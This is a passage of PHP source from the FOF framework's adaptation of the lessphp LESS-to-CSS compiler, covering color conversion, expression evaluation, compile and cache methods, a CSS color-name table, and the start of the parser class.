$g = $color[2] / 255;
$b = $color[3] / 255;
$min = min($r, $g, $b);
$max = max($r, $g, $b);
$L = ($min + $max) / 2;
if ($min == $max)
{
$S = $H = 0;
}
else
{
if ($L < 0.5)
{
$S = ($max - $min) / ($max + $min);
}
else
{
$S = ($max - $min) / (2.0 - $max - $min);
}
if ($r == $max)
{
$H = ($g - $b) / ($max - $min);
}
elseif ($g == $max)
{
$H = 2.0 + ($b - $r) / ($max - $min);
}
elseif ($b == $max)
{
$H = 4.0 + ($r - $g) / ($max - $min);
}
}
$out = array('hsl',
($H < 0 ? $H + 6 : $H) * 60,
$S * 100,
$L * 100,
);
if (count($color) > 4)
{
// Copy alpha
$out[] = $color[4];
}
return $out;
}
/**
* To RGB helper
*
* @param type $comp X
* @param type $temp1 X
* @param type $temp2 X
*
* @return type
*/
protected function toRGB_helper($comp, $temp1, $temp2)
{
if ($comp < 0)
{
$comp += 1.0;
}
elseif ($comp > 1)
{
$comp -= 1.0;
}
if (6 * $comp < 1)
{
return $temp1 + ($temp2 - $temp1) * 6 * $comp;
}
if (2 * $comp < 1)
{
return $temp2;
}
if (3 * $comp < 2)
{
return $temp1 + ($temp2 - $temp1) * ((2 / 3) - $comp) * 6;
}
return $temp1;
}
/**
* Converts a hsl array into a color value in rgb.
* Expects H to be in range of 0 to 360, S and L in 0 to 100
*
* @param type $color X
*
* @return type
*/
protected function toRGB($color)
{
if ($color == 'color')
{
return $color;
}
$H = $color[1] / 360;
$S = $color[2] / 100;
$L = $color[3] / 100;
if ($S == 0)
{
$r = $g = $b = $L;
}
else
{
$temp2 = $L < 0.5 ?
$L * (1.0 + $S) :
$L + $S - $L * $S;
$temp1 = 2.0 * $L - $temp2;
$r = $this->toRGB_helper($H + 1 / 3, $temp1, $temp2);
$g = $this->toRGB_helper($H, $temp1, $temp2);
$b = $this->toRGB_helper($H - 1 / 3, $temp1, $temp2);
}
// $out = array('color', round($r*255), round($g*255),
round($b*255));
$out = array('color', $r * 255, $g * 255, $b * 255);
if (count($color) > 4)
{
// Copy alpha
$out[] = $color[4];
}
return $out;
}
/**
* Clamp
*
* @param type $v X
* @param type $max X
* @param type $min X
*
* @return type
*/
protected function clamp($v, $max = 1, $min = 0)
{
return min($max, max($min, $v));
}
/**
* Convert the rgb, rgba, hsl color literals of function type
* as returned by the parser into values of color type.
*
* @param type $func X
*
* @return type
*/
protected function funcToColor($func)
{
$fname = $func[1];
if ($func[2][0] != 'list')
{
// Need a list of arguments
return false;
}
$rawComponents = $func[2][2];
if ($fname == 'hsl' || $fname == 'hsla')
{
$hsl = array('hsl');
$i = 0;
foreach ($rawComponents as $c)
{
$val = $this->reduce($c);
$val = isset($val[1]) ? floatval($val[1]) : 0;
if ($i == 0)
{
$clamp = 360;
}
elseif ($i < 3)
{
$clamp = 100;
}
else
{
$clamp = 1;
}
$hsl[] = $this->clamp($val, $clamp);
$i++;
}
while (count($hsl) < 4)
{
$hsl[] = 0;
}
return $this->toRGB($hsl);
}
elseif ($fname == 'rgb' || $fname == 'rgba')
{
$components = array();
$i = 1;
foreach ($rawComponents as $c)
{
$c = $this->reduce($c);
if ($i < 4)
{
if ($c[0] == "number" && $c[2] == "%")
{
$components[] = 255 * ($c[1] / 100);
}
else
{
$components[] = floatval($c[1]);
}
}
elseif ($i == 4)
{
if ($c[0] == "number" && $c[2] == "%")
{
$components[] = 1.0 * ($c[1] / 100);
}
else
{
$components[] = floatval($c[1]);
}
}
else
{
break;
}
$i++;
}
while (count($components) < 3)
{
$components[] = 0;
}
array_unshift($components, 'color');
return $this->fixColor($components);
}
return false;
}
/**
* Reduce
*
* @param type $value X
* @param type $forExpression X
*
* @return type
*/
protected function reduce($value, $forExpression = false)
{
switch ($value[0])
{
case "interpolate":
$reduced = $this->reduce($value[1]);
$var = $this->compileValue($reduced);
$res = $this->reduce(array("variable",
$this->vPrefix . $var));
if (empty($value[2]))
{
$res = $this->lib_e($res);
}
return $res;
case "variable":
$key = $value[1];
if (is_array($key))
{
$key = $this->reduce($key);
$key = $this->vPrefix .
$this->compileValue($this->lib_e($key));
}
$seen = & $this->env->seenNames;
if (!empty($seen[$key]))
{
$this->throwError("infinite loop detected: $key");
}
$seen[$key] = true;
$out = $this->reduce($this->get($key, self::$defaultValue));
$seen[$key] = false;
return $out;
case "list":
foreach ($value[2] as &$item)
{
$item = $this->reduce($item, $forExpression);
}
return $value;
case "expression":
return $this->evaluate($value);
case "string":
foreach ($value[2] as &$part)
{
if (is_array($part))
{
$strip = $part[0] == "variable";
$part = $this->reduce($part);
if ($strip)
{
$part = $this->lib_e($part);
}
}
}
return $value;
case "escape":
list(, $inner) = $value;
return $this->lib_e($this->reduce($inner));
case "function":
$color = $this->funcToColor($value);
if ($color)
{
return $color;
}
list(, $name, $args) = $value;
if ($name == "%")
{
$name = "_sprintf";
}
$f = isset($this->libFunctions[$name]) ?
$this->libFunctions[$name] : array($this, 'lib_' .
$name);
if (is_callable($f))
{
if ($args[0] == 'list')
{
$args = self::compressList($args[2], $args[1]);
}
$ret = call_user_func($f, $this->reduce($args, true), $this);
if (is_null($ret))
{
return array("string", "", array(
$name, "(", $args, ")"
));
}
// Convert to a typed value if the result is a php primitive
if (is_numeric($ret))
{
$ret = array('number', $ret, "");
}
elseif (!is_array($ret))
{
$ret = array('keyword', $ret);
}
return $ret;
}
// Plain function, reduce args
$value[2] = $this->reduce($value[2]);
return $value;
case "unary":
list(, $op, $exp) = $value;
$exp = $this->reduce($exp);
if ($exp[0] == "number")
{
switch ($op)
{
case "+":
return $exp;
case "-":
$exp[1] *= -1;
return $exp;
}
}
return array("string", "", array($op, $exp));
}
if ($forExpression)
{
switch ($value[0])
{
case "keyword":
if ($color = $this->coerceColor($value))
{
return $color;
}
break;
case "raw_color":
return $this->coerceColor($value);
}
}
return $value;
}
/**
* Coerce a value for use in color operation
*
* @param type $value X
*
* @return null
*/
protected function coerceColor($value)
{
switch ($value[0])
{
case 'color':
return $value;
case 'raw_color':
$c = array("color", 0, 0, 0);
$colorStr = substr($value[1], 1);
$num = hexdec($colorStr);
$width = strlen($colorStr) == 3 ? 16 : 256;
for ($i = 3; $i > 0; $i--)
{
// It's 3 2 1
$t = $num % $width;
$num /= $width;
$c[$i] = $t * (256 / $width) + $t * floor(16 / $width);
}
return $c;
case 'keyword':
$name = $value[1];
if (isset(self::$cssColors[$name]))
{
$rgba = explode(',', self::$cssColors[$name]);
if (isset($rgba[3]))
{
return array('color', $rgba[0], $rgba[1], $rgba[2],
$rgba[3]);
}
return array('color', $rgba[0], $rgba[1], $rgba[2]);
}
return null;
}
}
/**
* Make something string like into a string
*
* @param type $value X
*
* @return null
*/
protected function coerceString($value)
{
switch ($value[0])
{
case "string":
return $value;
case "keyword":
return array("string", "", array($value[1]));
}
return null;
}
/**
* Turn list of length 1 into value type
*
* @param type $value X
*
* @return type
*/
protected function flattenList($value)
{
if ($value[0] == "list" && count($value[2]) == 1)
{
return $this->flattenList($value[2][0]);
}
return $value;
}
/**
* To bool
*
* @param type $a X
*
* @return type
*/
protected function toBool($a)
{
if ($a)
{
return self::$TRUE;
}
else
{
return self::$FALSE;
}
}
/**
* Evaluate an expression
*
* @param type $exp X
*
* @return type
*/
protected function evaluate($exp)
{
list(, $op, $left, $right, $whiteBefore, $whiteAfter) = $exp;
$left = $this->reduce($left, true);
$right = $this->reduce($right, true);
if ($leftColor = $this->coerceColor($left))
{
$left = $leftColor;
}
if ($rightColor = $this->coerceColor($right))
{
$right = $rightColor;
}
$ltype = $left[0];
$rtype = $right[0];
// Operators that work on all types
if ($op == "and")
{
return $this->toBool($left == self::$TRUE && $right ==
self::$TRUE);
}
if ($op == "=")
{
return $this->toBool($this->eq($left, $right));
}
if ($op == "+" && !is_null($str =
$this->stringConcatenate($left, $right)))
{
return $str;
}
// Type based operators
$fname = "op_${ltype}_${rtype}";
if (is_callable(array($this, $fname)))
{
$out = $this->$fname($op, $left, $right);
if (!is_null($out))
{
return $out;
}
}
// Make the expression look it did before being parsed
$paddedOp = $op;
if ($whiteBefore)
{
$paddedOp = " " . $paddedOp;
}
if ($whiteAfter)
{
$paddedOp .= " ";
}
return array("string", "", array($left, $paddedOp,
$right));
}
/**
* String concatenate
*
* @param type $left X
* @param string $right X
*
* @return string
*/
protected function stringConcatenate($left, $right)
{
if ($strLeft = $this->coerceString($left))
{
if ($right[0] == "string")
{
$right[1] = "";
}
$strLeft[2][] = $right;
return $strLeft;
}
if ($strRight = $this->coerceString($right))
{
array_unshift($strRight[2], $left);
return $strRight;
}
}
/**
* Make sure a color's components don't go out of bounds
*
* @param type $c X
*
* @return int
*/
protected function fixColor($c)
{
foreach (range(1, 3) as $i)
{
if ($c[$i] < 0)
{
$c[$i] = 0;
}
if ($c[$i] > 255)
{
$c[$i] = 255;
}
}
return $c;
}
/**
* Op number color
*
* @param type $op X
* @param type $lft X
* @param type $rgt X
*
* @return type
*/
protected function op_number_color($op, $lft, $rgt)
{
if ($op == '+' || $op == '*')
{
return $this->op_color_number($op, $rgt, $lft);
}
}
/**
* Op color number
*
* @param type $op X
* @param type $lft X
* @param int $rgt X
*
* @return type
*/
protected function op_color_number($op, $lft, $rgt)
{
if ($rgt[0] == '%')
{
$rgt[1] /= 100;
}
return $this->op_color_color($op, $lft, array_fill(1, count($lft) - 1,
$rgt[1]));
}
/**
* Op color color
*
* @param type $op X
* @param type $left X
* @param type $right X
*
* @return type
*/
protected function op_color_color($op, $left, $right)
{
$out = array('color');
$max = count($left) > count($right) ? count($left) : count($right);
foreach (range(1, $max - 1) as $i)
{
$lval = isset($left[$i]) ? $left[$i] : 0;
$rval = isset($right[$i]) ? $right[$i] : 0;
switch ($op)
{
case '+':
$out[] = $lval + $rval;
break;
case '-':
$out[] = $lval - $rval;
break;
case '*':
$out[] = $lval * $rval;
break;
case '%':
$out[] = $lval % $rval;
break;
case '/':
if ($rval == 0)
{
$this->throwError("evaluate error: can't divide by
zero");
}
$out[] = $lval / $rval;
break;
default:
$this->throwError('evaluate error: color op number failed on
op ' . $op);
}
}
return $this->fixColor($out);
}
/**
* Lib red
*
* @param type $color X
*
* @return type
*/
public function lib_red($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError('color expected for red()');
}
return $color[1];
}
/**
* Lib green
*
* @param type $color X
*
* @return type
*/
public function lib_green($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError('color expected for green()');
}
return $color[2];
}
/**
* Lib blue
*
* @param type $color X
*
* @return type
*/
public function lib_blue($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError('color expected for blue()');
}
return $color[3];
}
/**
* Operator on two numbers
*
* @param type $op X
* @param type $left X
* @param type $right X
*
* @return type
*/
protected function op_number_number($op, $left, $right)
{
$unit = empty($left[2]) ? $right[2] : $left[2];
$value = 0;
switch ($op)
{
case '+':
$value = $left[1] + $right[1];
break;
case '*':
$value = $left[1] * $right[1];
break;
case '-':
$value = $left[1] - $right[1];
break;
case '%':
$value = $left[1] % $right[1];
break;
case '/':
if ($right[1] == 0)
{
$this->throwError('parse error: divide by zero');
}
$value = $left[1] / $right[1];
break;
case '<':
return $this->toBool($left[1] < $right[1]);
case '>':
return $this->toBool($left[1] > $right[1]);
case '>=':
return $this->toBool($left[1] >= $right[1]);
case '=<':
return $this->toBool($left[1] <= $right[1]);
default:
$this->throwError('parse error: unknown number operator: '
. $op);
}
return array("number", $value, $unit);
}
/**
* Make output block
*
* @param type $type X
* @param type $selectors X
*
* @return stdclass
*/
protected function makeOutputBlock($type, $selectors = null)
{
$b = new stdclass;
$b->lines = array();
$b->children = array();
$b->selectors = $selectors;
$b->type = $type;
$b->parent = $this->scope;
return $b;
}
/**
* The state of execution
*
* @param type $block X
*
* @return stdclass
*/
protected function pushEnv($block = null)
{
$e = new stdclass;
$e->parent = $this->env;
$e->store = array();
$e->block = $block;
$this->env = $e;
return $e;
}
/**
* Pop something off the stack
*
* @return type
*/
protected function popEnv()
{
$old = $this->env;
$this->env = $this->env->parent;
return $old;
}
/**
* Set something in the current env
*
* @param type $name X
* @param type $value X
*
* @return void
*/
protected function set($name, $value)
{
$this->env->store[$name] = $value;
}
/**
* Get the highest occurrence entry for a name
*
* @param type $name X
* @param type $default X
*
* @return type
*/
protected function get($name, $default = null)
{
$current = $this->env;
$isArguments = $name == $this->vPrefix . 'arguments';
while ($current)
{
if ($isArguments && isset($current->arguments))
{
return array('list', ' ', $current->arguments);
}
if (isset($current->store[$name]))
{
return $current->store[$name];
}
else
{
$current = isset($current->storeParent) ?
$current->storeParent : $current->parent;
}
}
return $default;
}
/**
* Inject array of unparsed strings into environment as variables
*
* @param type $args X
*
* @return void
*
* @throws Exception
*/
protected function injectVariables($args)
{
$this->pushEnv();
/** FOF -- BEGIN CHANGE * */
$parser = new FOFLessParser($this, __METHOD__);
/** FOF -- END CHANGE * */
foreach ($args as $name => $strValue)
{
if ($name[0] != '@')
{
$name = '@' . $name;
}
$parser->count = 0;
$parser->buffer = (string) $strValue;
if (!$parser->propertyValue($value))
{
throw new Exception("failed to parse passed in variable $name:
$strValue");
}
$this->set($name, $value);
}
}
/**
* Initialize any static state, can initialize parser for a file
*
* @param type $fname X
*/
public function __construct($fname = null)
{
if ($fname !== null)
{
// Used for deprecated parse method
$this->_parseFile = $fname;
}
}
/**
* Compile
*
* @param type $string X
* @param type $name X
*
* @return type
*/
public function compile($string, $name = null)
{
$locale = setlocale(LC_NUMERIC, 0);
setlocale(LC_NUMERIC, "C");
$this->parser = $this->makeParser($name);
$root = $this->parser->parse($string);
$this->env = null;
$this->scope = null;
$this->formatter = $this->newFormatter();
if (!empty($this->registeredVars))
{
$this->injectVariables($this->registeredVars);
}
// Used for error messages
$this->sourceParser = $this->parser;
$this->compileBlock($root);
ob_start();
$this->formatter->block($this->scope);
$out = ob_get_clean();
setlocale(LC_NUMERIC, $locale);
return $out;
}
/**
* Compile file
*
* @param type $fname X
* @param type $outFname X
*
* @return type
*
* @throws Exception
*/
public function compileFile($fname, $outFname = null)
{
if (!is_readable($fname))
{
throw new Exception('load error: failed to find ' . $fname);
}
$pi = pathinfo($fname);
$oldImport = $this->importDir;
$this->importDir = (array) $this->importDir;
$this->importDir[] = $pi['dirname'] . '/';
$this->allParsedFiles = array();
$this->addParsedFile($fname);
$out = $this->compile(file_get_contents($fname), $fname);
$this->importDir = $oldImport;
if ($outFname !== null)
{
/** FOF - BEGIN CHANGE * */
return
FOFPlatform::getInstance()->getIntegrationObject('filesystem')->fileWrite($outFname,
$out);
/** FOF - END CHANGE * */
}
return $out;
}
/**
* Compile only if changed input has changed or output doesn't exist
*
* @param type $in X
* @param type $out X
*
* @return boolean
*/
public function checkedCompile($in, $out)
{
if (!is_file($out) || filemtime($in) > filemtime($out))
{
$this->compileFile($in, $out);
return true;
}
return false;
}
/**
* Execute lessphp on a .less file or a lessphp cache structure
*
* The lessphp cache structure contains information about a specific
* less file having been parsed. It can be used as a hint for future
* calls to determine whether or not a rebuild is required.
*
* The cache structure contains two important keys that may be used
* externally:
*
* compiled: The final compiled CSS
* updated: The time (in seconds) the CSS was last compiled
*
* The cache structure is a plain-ol' PHP associative array and can
* be serialized and unserialized without a hitch.
*
* @param mixed $in Input
* @param bool $force Force rebuild?
*
* @return array lessphp cache structure
*/
public function cachedCompile($in, $force = false)
{
// Assume no root
$root = null;
if (is_string($in))
{
$root = $in;
}
elseif (is_array($in) and isset($in['root']))
{
if ($force or !isset($in['files']))
{
/**
* If we are forcing a recompile or if for some reason the
* structure does not contain any file information we should
* specify the root to trigger a rebuild.
*/
$root = $in['root'];
}
elseif (isset($in['files']) and
is_array($in['files']))
{
foreach ($in['files'] as $fname => $ftime)
{
if (!file_exists($fname) or filemtime($fname) > $ftime)
{
/**
* One of the files we knew about previously has changed
* so we should look at our incoming root again.
*/
$root = $in['root'];
break;
}
}
}
}
else
{
/**
* TODO: Throw an exception? We got neither a string nor something
* that looks like a compatible lessphp cache structure.
*/
return null;
}
if ($root !== null)
{
// If we have a root value which means we should rebuild.
$out = array();
$out['root'] = $root;
$out['compiled'] = $this->compileFile($root);
$out['files'] = $this->allParsedFiles();
$out['updated'] = time();
return $out;
}
else
{
// No changes, pass back the structure
// we were given initially.
return $in;
}
}
//
// This is deprecated
/**
* Parse and compile buffer
*
* @param null $str X
* @param type $initialVariables X
*
* @return type
*
* @throws Exception
*
* @deprecated 2.0
*/
public function parse($str = null, $initialVariables = null)
{
if (is_array($str))
{
$initialVariables = $str;
$str = null;
}
$oldVars = $this->registeredVars;
if ($initialVariables !== null)
{
$this->setVariables($initialVariables);
}
if ($str == null)
{
if (empty($this->_parseFile))
{
throw new exception("nothing to parse");
}
$out = $this->compileFile($this->_parseFile);
}
else
{
$out = $this->compile($str);
}
$this->registeredVars = $oldVars;
return $out;
}
/**
* Make parser
*
* @param type $name X
*
* @return FOFLessParser
*/
protected function makeParser($name)
{
/** FOF -- BEGIN CHANGE * */
$parser = new FOFLessParser($this, $name);
/** FOF -- END CHANGE * */
$parser->writeComments = $this->preserveComments;
return $parser;
}
/**
* Set Formatter
*
* @param type $name X
*
* @return void
*/
public function setFormatter($name)
{
$this->formatterName = $name;
}
/**
* New formatter
*
* @return FOFLessFormatterLessjs
*/
protected function newFormatter()
{
/** FOF -- BEGIN CHANGE * */
$className = "FOFLessFormatterLessjs";
/** FOF -- END CHANGE * */
if (!empty($this->formatterName))
{
if (!is_string($this->formatterName))
return $this->formatterName;
/** FOF -- BEGIN CHANGE * */
$className = "FOFLessFormatter" .
ucfirst($this->formatterName);
/** FOF -- END CHANGE * */
}
return new $className;
}
/**
* Set preserve comments
*
* @param type $preserve X
*
* @return void
*/
public function setPreserveComments($preserve)
{
$this->preserveComments = $preserve;
}
/**
* Register function
*
* @param type $name X
* @param type $func X
*
* @return void
*/
public function registerFunction($name, $func)
{
$this->libFunctions[$name] = $func;
}
/**
* Unregister function
*
* @param type $name X
*
* @return void
*/
public function unregisterFunction($name)
{
unset($this->libFunctions[$name]);
}
/**
* Set variables
*
* @param type $variables X
*
* @return void
*/
public function setVariables($variables)
{
$this->registeredVars = array_merge($this->registeredVars,
$variables);
}
/**
* Unset variable
*
* @param type $name X
*
* @return void
*/
public function unsetVariable($name)
{
unset($this->registeredVars[$name]);
}
/**
* Set import dir
*
* @param type $dirs X
*
* @return void
*/
public function setImportDir($dirs)
{
$this->importDir = (array) $dirs;
}
/**
* Add import dir
*
* @param type $dir X
*
* @return void
*/
public function addImportDir($dir)
{
$this->importDir = (array) $this->importDir;
$this->importDir[] = $dir;
}
/**
* All parsed files
*
* @return type
*/
public function allParsedFiles()
{
return $this->allParsedFiles;
}
/**
* Add parsed file
*
* @param type $file X
*
* @return void
*/
protected function addParsedFile($file)
{
$this->allParsedFiles[realpath($file)] = filemtime($file);
}
/**
* Uses the current value of $this->count to show line and line number
*
* @param type $msg X
*
* @return void
*/
protected function throwError($msg = null)
{
if ($this->sourceLoc >= 0)
{
$this->sourceParser->throwError($msg, $this->sourceLoc);
}
throw new exception($msg);
}
/**
* Compile file $in to file $out if $in is newer than $out
* Returns true when it compiles, false otherwise
*
* @param type $in X
* @param type $out X
* @param self $less X
*
* @return type
*/
public static function ccompile($in, $out, $less = null)
{
if ($less === null)
{
$less = new self;
}
return $less->checkedCompile($in, $out);
}
/**
* Compile execute
*
* @param type $in X
* @param type $force X
* @param self $less X
*
* @return type
*/
public static function cexecute($in, $force = false, $less = null)
{
if ($less === null)
{
$less = new self;
}
return $less->cachedCompile($in, $force);
}
protected static $cssColors = array(
'aliceblue' => '240,248,255',
'antiquewhite' => '250,235,215',
'aqua' => '0,255,255',
'aquamarine' => '127,255,212',
'azure' => '240,255,255',
'beige' => '245,245,220',
'bisque' => '255,228,196',
'black' => '0,0,0',
'blanchedalmond' => '255,235,205',
'blue' => '0,0,255',
'blueviolet' => '138,43,226',
'brown' => '165,42,42',
'burlywood' => '222,184,135',
'cadetblue' => '95,158,160',
'chartreuse' => '127,255,0',
'chocolate' => '210,105,30',
'coral' => '255,127,80',
'cornflowerblue' => '100,149,237',
'cornsilk' => '255,248,220',
'crimson' => '220,20,60',
'cyan' => '0,255,255',
'darkblue' => '0,0,139',
'darkcyan' => '0,139,139',
'darkgoldenrod' => '184,134,11',
'darkgray' => '169,169,169',
'darkgreen' => '0,100,0',
'darkgrey' => '169,169,169',
'darkkhaki' => '189,183,107',
'darkmagenta' => '139,0,139',
'darkolivegreen' => '85,107,47',
'darkorange' => '255,140,0',
'darkorchid' => '153,50,204',
'darkred' => '139,0,0',
'darksalmon' => '233,150,122',
'darkseagreen' => '143,188,143',
'darkslateblue' => '72,61,139',
'darkslategray' => '47,79,79',
'darkslategrey' => '47,79,79',
'darkturquoise' => '0,206,209',
'darkviolet' => '148,0,211',
'deeppink' => '255,20,147',
'deepskyblue' => '0,191,255',
'dimgray' => '105,105,105',
'dimgrey' => '105,105,105',
'dodgerblue' => '30,144,255',
'firebrick' => '178,34,34',
'floralwhite' => '255,250,240',
'forestgreen' => '34,139,34',
'fuchsia' => '255,0,255',
'gainsboro' => '220,220,220',
'ghostwhite' => '248,248,255',
'gold' => '255,215,0',
'goldenrod' => '218,165,32',
'gray' => '128,128,128',
'green' => '0,128,0',
'greenyellow' => '173,255,47',
'grey' => '128,128,128',
'honeydew' => '240,255,240',
'hotpink' => '255,105,180',
'indianred' => '205,92,92',
'indigo' => '75,0,130',
'ivory' => '255,255,240',
'khaki' => '240,230,140',
'lavender' => '230,230,250',
'lavenderblush' => '255,240,245',
'lawngreen' => '124,252,0',
'lemonchiffon' => '255,250,205',
'lightblue' => '173,216,230',
'lightcoral' => '240,128,128',
'lightcyan' => '224,255,255',
'lightgoldenrodyellow' => '250,250,210',
'lightgray' => '211,211,211',
'lightgreen' => '144,238,144',
'lightgrey' => '211,211,211',
'lightpink' => '255,182,193',
'lightsalmon' => '255,160,122',
'lightseagreen' => '32,178,170',
'lightskyblue' => '135,206,250',
'lightslategray' => '119,136,153',
'lightslategrey' => '119,136,153',
'lightsteelblue' => '176,196,222',
'lightyellow' => '255,255,224',
'lime' => '0,255,0',
'limegreen' => '50,205,50',
'linen' => '250,240,230',
'magenta' => '255,0,255',
'maroon' => '128,0,0',
'mediumaquamarine' => '102,205,170',
'mediumblue' => '0,0,205',
'mediumorchid' => '186,85,211',
'mediumpurple' => '147,112,219',
'mediumseagreen' => '60,179,113',
'mediumslateblue' => '123,104,238',
'mediumspringgreen' => '0,250,154',
'mediumturquoise' => '72,209,204',
'mediumvioletred' => '199,21,133',
'midnightblue' => '25,25,112',
'mintcream' => '245,255,250',
'mistyrose' => '255,228,225',
'moccasin' => '255,228,181',
'navajowhite' => '255,222,173',
'navy' => '0,0,128',
'oldlace' => '253,245,230',
'olive' => '128,128,0',
'olivedrab' => '107,142,35',
'orange' => '255,165,0',
'orangered' => '255,69,0',
'orchid' => '218,112,214',
'palegoldenrod' => '238,232,170',
'palegreen' => '152,251,152',
'paleturquoise' => '175,238,238',
'palevioletred' => '219,112,147',
'papayawhip' => '255,239,213',
'peachpuff' => '255,218,185',
'peru' => '205,133,63',
'pink' => '255,192,203',
'plum' => '221,160,221',
'powderblue' => '176,224,230',
'purple' => '128,0,128',
'red' => '255,0,0',
'rosybrown' => '188,143,143',
'royalblue' => '65,105,225',
'saddlebrown' => '139,69,19',
'salmon' => '250,128,114',
'sandybrown' => '244,164,96',
'seagreen' => '46,139,87',
'seashell' => '255,245,238',
'sienna' => '160,82,45',
'silver' => '192,192,192',
'skyblue' => '135,206,235',
'slateblue' => '106,90,205',
'slategray' => '112,128,144',
'slategrey' => '112,128,144',
'snow' => '255,250,250',
'springgreen' => '0,255,127',
'steelblue' => '70,130,180',
'tan' => '210,180,140',
'teal' => '0,128,128',
'thistle' => '216,191,216',
'tomato' => '255,99,71',
'transparent' => '0,0,0,0',
'turquoise' => '64,224,208',
'violet' => '238,130,238',
'wheat' => '245,222,179',
'white' => '255,255,255',
'whitesmoke' => '245,245,245',
'yellow' => '255,255,0',
'yellowgreen' => '154,205,50'
);
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* Responsible for taking a string of LESS code and converting it into a
syntax tree
*
* @since 2.0
*/
class FOFLessParser
{
// Used to uniquely identify blocks
protected static $nextBlockId = 0;
protected static $precedence = array(
'=<' => 0,
'>=' => 0,
'=' => 0,
'<' => 0,
'>' => 0,
'+' => 1,
'-' => 1,
'*' => 2,
'/' => 2,
'%' => 2,
);
protected static $whitePattern;
protected static $commentMulti;
protected static $commentSingle = "//";
protected static $commentMultiLeft = "/*";
protected static $commentMultiRight = "*/";
// Regex string to match any of the operators
protected static $operatorString;
// These properties will supress division unless it's inside
parenthases
protected static $supressDivisionProps =
array('/border-radius$/i', '/^font$/i');
protected $blockDirectives = array("font-face",
"keyframes", "page", "-moz-document");
protected $lineDirectives = array("charset");
/**
* if we are in parens we can be more liberal with whitespace around
* operators because it must evaluate to a single value and thus is less
* ambiguous.
*
* Consider:
* property1: 10 -5; // is two numbers, 10 and -5
* property2: (10 -5); // should evaluate to 5
*/
protected $inParens = false;
// Caches preg escaped literals
protected static $literalCache = array();
/**
* Constructor
*
* @param [type] $lessc [description]
* @param string $sourceName [description]
*/
public function __construct($lessc, $sourceName = null)
{
$this->eatWhiteDefault = true;
// Reference to less needed for vPrefix, mPrefix, and parentSelector
$this->lessc = $lessc;
// Name used for error messages
$this->sourceName = $sourceName;
$this->writeComments = false;
if (!self::$operatorString)
{
self::$operatorString = '(' . implode('|',
array_map(array('FOFLess', 'preg_quote'),
array_keys(self::$precedence))) . ')';
$commentSingle = FOFLess::preg_quote(self::$commentSingle);
$commentMultiLeft = FOFLess::preg_quote(self::$commentMultiLeft);
$commentMultiRight = FOFLess::preg_quote(self::$commentMultiRight);
self::$commentMulti = $commentMultiLeft . '.*?' .
$commentMultiRight;
self::$whitePattern = '/' . $commentSingle .
'[^\n]*\s*|(' . self::$commentMulti . ')\s*|\s+/Ais';
}
}
/**
* Parse text
*
* @param string $buffer [description]
*
* @return [type] [description]
*/
public function parse($buffer)
{
$this->count = 0;
$this->line = 1;
// Block stack
$this->env = null;
$this->buffer = $this->writeComments ? $buffer :
$this->removeComments($buffer);
$this->pushSpecialBlock("root");
$this->eatWhiteDefault = true;
$this->seenComments = array();
/*
* trim whitespace on head
* if (preg_match('/^\s+/', $this->buffer, $m)) {
* $this->line += substr_count($m[0], "\n");
* $this->buffer = ltrim($this->buffer);
* }
*/
$this->whitespace();
// Parse the entire file
$lastCount = $this->count;
while (false !== $this->parseChunk());
if ($this->count != strlen($this->buffer))
{
$this->throwError();
}
// TODO report where the block was opened
if (!is_null($this->env->parent))
{
throw new exception('parse error: unclosed block');
}
return $this->env;
}
/**
* Parse a single chunk off the head of the buffer and append it to the
* current parse environment.
* Returns false when the buffer is empty, or when there is an error.
*
* This function is called repeatedly until the entire document is
* parsed.
*
* This parser is most similar to a recursive descent parser. Single
* functions represent discrete grammatical rules for the language, and
* they are able to capture the text that represents those rules.
*
* Consider the function lessc::keyword(). (all parse functions are
* structured the same)
*
* The function takes a single reference argument. When calling the
* function it will attempt to match a keyword on the head of the buffer.
* If it is successful, it will place the keyword in the referenced
* argument, advance the position in the buffer, and return true. If it
* fails then it won't advance the buffer and it will return false.
*
* All of these parse functions are powered by lessc::match(), which
behaves
* the same way, but takes a literal regular expression. Sometimes it is
* more convenient to use match instead of creating a new function.
*
* Because of the format of the functions, to parse an entire string of
* grammatical rules, you can chain them together using &&.
*
* But, if some of the rules in the chain succeed before one fails, then
* the buffer position will be left at an invalid state. In order to
* avoid this, lessc::seek() is used to remember and set buffer positions.
*
* Before parsing a chain, use $s = $this->seek() to remember the
current
* position into $s. Then if a chain fails, use $this->seek($s) to
* go back where we started.
*
* @return boolean
*/
protected function parseChunk()
{
if (empty($this->buffer))
{
return false;
}
$s = $this->seek();
// Setting a property
if ($this->keyword($key) && $this->assign()
&& $this->propertyValue($value, $key) &&
$this->end())
{
$this->append(array('assign', $key, $value), $s);
return true;
}
else
{
$this->seek($s);
}
// Look for special css blocks
if ($this->literal('@', false))
{
$this->count--;
// Media
if ($this->literal('@media'))
{
if (($this->mediaQueryList($mediaQueries) || true)
&& $this->literal('{'))
{
$media = $this->pushSpecialBlock("media");
$media->queries = is_null($mediaQueries) ? array() : $mediaQueries;
return true;
}
else
{
$this->seek($s);
return false;
}
}
if ($this->literal("@", false) &&
$this->keyword($dirName))
{
if ($this->isDirective($dirName, $this->blockDirectives))
{
if (($this->openString("{", $dirValue, null,
array(";")) || true)
&& $this->literal("{"))
{
$dir = $this->pushSpecialBlock("directive");
$dir->name = $dirName;
if (isset($dirValue))
{
$dir->value = $dirValue;
}
return true;
}
}
elseif ($this->isDirective($dirName, $this->lineDirectives))
{
if ($this->propertyValue($dirValue) && $this->end())
{
$this->append(array("directive", $dirName, $dirValue));
return true;
}
}
}
$this->seek($s);
}
// Setting a variable
if ($this->variable($var) && $this->assign()
&& $this->propertyValue($value) && $this->end())
{
$this->append(array('assign', $var, $value), $s);
return true;
}
else
{
$this->seek($s);
}
if ($this->import($importValue))
{
$this->append($importValue, $s);
return true;
}
// Opening parametric mixin
